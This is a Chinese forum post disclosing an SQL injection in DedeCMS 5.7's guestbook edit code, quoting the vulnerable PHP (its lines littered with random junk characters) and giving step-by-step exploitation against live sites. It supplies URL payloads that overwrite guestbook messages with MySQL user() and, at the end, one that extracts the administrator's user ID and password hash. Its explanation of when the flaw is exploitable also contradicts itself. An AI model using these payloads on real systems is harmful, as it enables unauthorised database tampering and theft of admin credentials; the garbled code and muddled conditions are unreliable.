影响版本为5.7
0 T% r; @$ `* t- O" y2 j( p5 Y9 ?! ^% [% _; l- Q# Y, ^( b% [
漏洞文件edit.inc.php具体代码:# u9 e# p1 v; p' R" o( @0 A
1 O7 B4 B- g8 E' F" i< ?php * M8 ^7 C2 P! N: D. s
4 v, p# i' `. N, A0 m6 G, i
if(!defined('DEDEINC')) exit('Request Error!');
5 l9 [* Q5 X( b: [- r' d) |$ }. I; b9 {/ a [
$ R' z3 g" ]3 f, n1 b& l, m
0 `' I( B- Z$ L$ O( D! V# A# R
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; # h6 ^( f( C% j' J; [( J3 B! e
& \& \# ]' q% x) `2 O' Q# Belse $GUEST_BOOK_POS = "guestbook.php";
O! O) o4 R( n' V; K3 I# K5 e! P7 Y
5 b7 i9 \! F7 B0 I( q ! I- k; W4 u# G) K3 p
6 M2 ?4 g8 [, k1 b8 m0 m+ J$id = intval($id); + H$ s1 O$ q8 w* x" v3 C0 T" k7 W
j: d- s: L5 L; ~( ~if(empty($job)) $job='view';
' F& o0 t4 S+ O4 E( N5 J8 a+ V& s: v- F' j R
! u, f% {, D4 y. K, |+ K8 S& ^; N
3 q; H ~$ O3 Q' Z, n" Cif($job=='del' && $g_isadmin) 6 f3 K: D1 i! |- Z/ O3 ]: k
/ s) W# K0 c0 K* E: u9 h% H2 w{ - A3 q6 s2 j1 ~2 m
* E( @' r4 }& G: z7 G( U8 u$ D7 \$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
& P# _( A( q( L% X6 u1 Y* `" b0 s4 o- u9 n; d: L9 X6 y* l
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); , e- y6 e: y* J t* c
) c9 d2 x- D5 ~3 Y' ?# H- @' t
exit(); ) T. X2 I( \4 k( v7 W
* w8 M3 D: v" z) V3 F0 a% G, u# }} 2 p+ W/ A: c( ]1 I
2 ]$ H% O; X. G u
else if($job=='check' && $g_isadmin) . {- G# }0 G1 G! u; I" L0 c; v
! i* r7 Q- x% V5 M8 h0 k7 t' G, j{ 3 J, C5 ]: d5 q; ]
8 [4 i* U/ f* ]& y0 K3 s; u$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
: V: o P$ |1 z" W) v+ H) C6 k- [' i1 j
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
$ d- T7 A9 l t1 U& t2 H) X' l7 I+ ^- y" J
exit(); $ J- G; m+ j. {# K3 ? j
- M) n; }9 m* P( d/ y9 \8 z# |} ( w* L- l$ j3 U {- C! x
! n% ?+ x2 O" D' V/ S9 @1 \6 E
else if($job=='editok') ! w) f1 M2 v% @. B% d/ Q& I
. o. B( w) m8 ?0 V9 R" Q0 i) b{ - A" @( e# i! a- i7 X
1 V, X- S, G( q" H
$remsg = trim($remsg);
& ~( W$ I9 M: H: @$ V6 T! q$ @% F
if($remsg!='')
, A7 s- m: K( a1 F: G+ g8 _3 r% I7 E) D- F3 H* X
{ 7 N6 Q: p/ C# B1 \
: D( @! C- m8 F' r: I' X2 ~+ X! C//管理员回复不过滤HTML By:Errorera blog:errs.cc
0 T3 _0 J" \# P7 \) ~9 u/ C3 q& M+ ]+ o$ P
) C' w, W2 G: r+ l& `if($g_isadmin)
$ m; Y/ o% t6 B7 o' Q: X j/ _8 A3 a! r6 M! m! _; P. d% C" J
{ ; Y7 O8 J6 i4 j! X/ j) p9 q
- M$ V" G$ ~5 j1 m+ L$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 2 N' Y0 P! L8 u# X0 E, b6 \
$ K2 ]9 Y$ m+ _( a. m; r//$remsg <br /><font color=red>管理员回复:</font> }
* t0 i" L; ?& i7 y3 B
8 N+ f7 u( R' a5 r0 i! s7 a( jelse
2 F( `* Q8 Y: e* \9 N# A
9 s- r0 [% q' w: }; s- c{
. c1 Z, M' o- s4 F% S! t7 }- s2 a& Q& M) `# H0 ~* P; R, \
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 9 K5 B, \# g* i, M+ w+ n
7 u- J" K8 R$ C7 G* E$ D9 h2 D; `$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
2 \& T- i9 X' B5 P1 b; O
, s; F8 ]: ^) p/ g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
% T, C' }! S* A) M- @+ ^* L7 ]% g! |
8 ~7 X8 N3 ^7 P: s2 k$msg = $oldmsg.$remsg;
. w4 f2 }) p; c% e8 B- u
& t: B( T; E: S} 1 `6 p* c* Q$ @
7 d$ o6 }7 W: E; i& y} " k: A" g! Y1 R/ y/ O
) Z* [9 A9 x$ G/ y: y//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 3 u& ^5 K1 M& s4 s
: X" Y7 z0 g8 O: U9 P1 n0 X$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
* k5 | X5 T8 Z3 ^- e& R* y
5 x9 }& H8 }, @3 a& YShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
$ J* n" ]0 B R/ k$ P( A0 y% }2 Q
/ H( o0 c) }$ Yexit();
- q" v, Y& ` y6 }+ B+ w
9 Q/ y6 u5 z3 H( h# {} ; W9 m4 r8 o! g: ^5 r, Q
! V( G6 e# j% X0 m& x$ P//home:www.errs.cc
2 d2 S1 N: |( a
0 n7 f7 |) v: R$ f* fif($g_isadmin)
, ]4 J5 h% V0 g) M5 p1 D
0 t' @! ^* P+ B) J{
, Z- o! p. g) w& Q- h; ?, x2 c' R* v, @
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 8 q/ r, _8 m, i
) I5 T. D: T) r
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); e0 v! {' g r6 T- a- m* U
) y# ?2 C1 R4 K: T/ y}
! P2 Y% P# m- f8 i7 q" X( i* p; S" z! o% l0 _* o$ \$ T/ {) s% ` E
else ) v: u- e. C- o- n% S
3 r! i: j' {6 t6 {& ~' r
{ ) G" x' e: q: E! G3 ?5 x
7 j. u4 }; z5 j/ `3 K" q$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
/ G. N) \( d' @* ~9 x7 c0 V
: F! w2 a$ b$ y' S1 \require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
0 Y, T2 A) k/ W9 I; b6 V' e. g. O, `, x: v0 R. U- E
} 漏洞成功需要条件:
% ?; v2 O( X; e3 I. M. _, m7 j$ ]! f1. php magic_quotes_gpc=off
`0 g" {5 K+ v5 q. v2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。" U, L* m8 Z# {
6 b* n. O) {6 ^4 j9 E怎么判断是否存在漏洞:
2 z1 ]. {: u' L5 g7 D6 Y先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
0 U' e3 p: p$ n( g. q. F! h' J然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
" h/ |* Y2 k/ _: Q: T5 r- j访问:! l( b4 G' _* C4 F$ }9 Y0 ]! n
+ W5 ?# t, t4 }" L+ ~* v) t
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
" L" D: E4 i p$ |2 v; F跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证: A0 w S8 q+ N# u
5 m7 k5 u4 _ }9 |, t( x
+ V+ x1 Y" x0 x0 V明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
/ Q6 ]+ R0 Z' c$ }+ {& Y* d! i如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。! @4 ]; M/ J8 p1 o4 X0 H
那么再次访问
; {: Q5 H$ x9 }/ N# j
. k/ O' F/ M9 _4 N9 \6 Kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().- z2 r! f# D# B& M0 r% j8 i2 P
) C1 e- |) q6 U- D9 R
大概利用就是这样,大家有兴趣的多研究下!!
% d& _9 d+ G$ H
l$ Z# b& e3 U最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!' v+ [! m; P, ?6 f$ h+ F; C" k. ^: Z
# i, s. }" x( {view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |